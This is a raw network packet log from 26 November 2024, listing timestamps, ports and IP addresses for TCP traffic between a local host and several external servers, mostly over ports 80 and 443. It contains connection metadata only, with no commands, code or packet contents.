Nov 26, 2024 16:31:45.549266100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.549283981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.550276041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.550288916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.550329924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.551276922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.551290035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.551328897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.552638054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.552653074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.552692890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.553669930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.553688049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.553699017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.553760052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.562520027 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:45.563030958 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:45.563047886 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:45.564088106 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:45.564167023 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:45.571218014 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:45.571469069 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:45.571472883 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:45.584005117 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.584096909 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.584245920 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.584450006 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.584470034 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.584481955 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.584487915 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.587562084 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.587610006 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.587692976 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.587872982 CET	49880	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.587886095 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.590998888 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.591064930 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.591223001 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.591303110 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.591304064 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.591366053 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.591392994 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.593955040 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.594008923 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.594209909 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.594209909 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.594249964 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.615084887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.615166903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.615261078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.615295887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.615335941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.615356922 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:45.615818024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.615879059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.616312981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.616328001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.616380930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.617271900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.617328882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.688199997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.705915928 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:45.705943108 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:45.808921099 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:45.891709089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.895612955 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:45.895858049 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:45.895867109 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:45.896881104 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.896950006 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:45.897005081 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:45.897788048 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.897799015 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.898911953 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.899051905 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.899357080 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:45.899435043 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:45.900823116 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.900904894 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.901473045 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.901484966 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.963968039 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.964046001 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.964467049 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:45.964483023 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.964488983 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.964503050 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:45.971657038 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.971688032 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.971705914 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.971713066 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.979542971 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.979594946 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.979728937 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.981185913 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.982080936 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.982111931 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.982454062 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.982480049 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.983633041 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.983704090 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.984025955 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.984097004 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.984314919 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.984328032 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.991679907 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:45.991720915 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:45.991867065 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:46.024239063 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:46.024265051 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:46.044797897 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.044826031 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.044832945 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.044843912 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.044851065 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.044913054 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:46.044922113 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.044987917 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:46.046336889 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:46.046367884 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:46.104701996 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:46.104768038 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.304908037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.304927111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.304938078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.304949045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.304964066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.304975986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.304987907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305001020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305011034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305022955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305037022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305037975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305054903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305077076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305099964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305099964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305114985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305126905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305138111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305145979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305151939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305164099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305170059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305176020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305188894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305195093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305201054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305214882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305222034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305227041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305241108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305247068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305253983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305263042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305264950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305278063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305286884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305289984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305303097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305311918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305315018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305327892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305335045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305341005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305354118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305360079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305366993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305370092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305381060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305392981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305398941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305406094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305418968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305424929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305433035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305442095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305444956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305457115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305470943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305470943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305476904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305490017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305495977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305502892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305514097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305521011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305526018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305533886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305540085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305552006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305562973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305568933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305597067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305600882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305613041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305633068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305633068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305640936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305644035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305649042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305650949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305656910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305669069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305672884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305680037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305686951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305699110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305711985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305716991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305742025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305749893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305753946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305763006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305774927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.305794001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.305835009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.354685068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354712009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354721069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354733944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354746103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354758024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354768991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354783058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354789019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354789019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.354799986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354811907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354823112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354839087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354846954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.354855061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.354880095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.354901075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.357805967 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:46.359136105 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:46.359165907 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:46.359637976 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:46.359744072 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:46.360366106 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:46.360414028 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:46.361495972 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:46.361573935 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:46.379988909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.380007982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.380019903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.380043030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.380050898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.380052090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.380083084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.380139112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.385653019 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:46.386503935 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:46.386529922 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:46.388014078 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:46.388133049 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:46.389148951 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:46.389256001 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:46.429300070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.429323912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.429414988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436659098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436683893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436696053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436707973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436748028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436748981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436760902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436774969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436786890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436800957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436814070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436815023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436829090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436831951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436844110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436855078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436856031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436868906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436881065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436881065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436892033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436903954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436914921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436924934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436933041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436933041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436938047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436952114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.436959982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436968088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436971903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.436979055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437006950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437524080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437535048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437545061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437551975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437557936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437563896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437571049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437576056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437582970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437588930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437601089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437601089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437613010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437633991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437654972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437654972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437663078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437675953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437684059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437688112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437704086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437710047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437731028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437752008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437757969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437767029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437783003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437797070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437807083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437808990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437822104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437829018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437834024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437846899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437854052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437859058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437865019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437871933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437885046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437896013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437896013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437907934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437920094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437922955 CET	49809	80	192.168.2.6	185.215.113.206
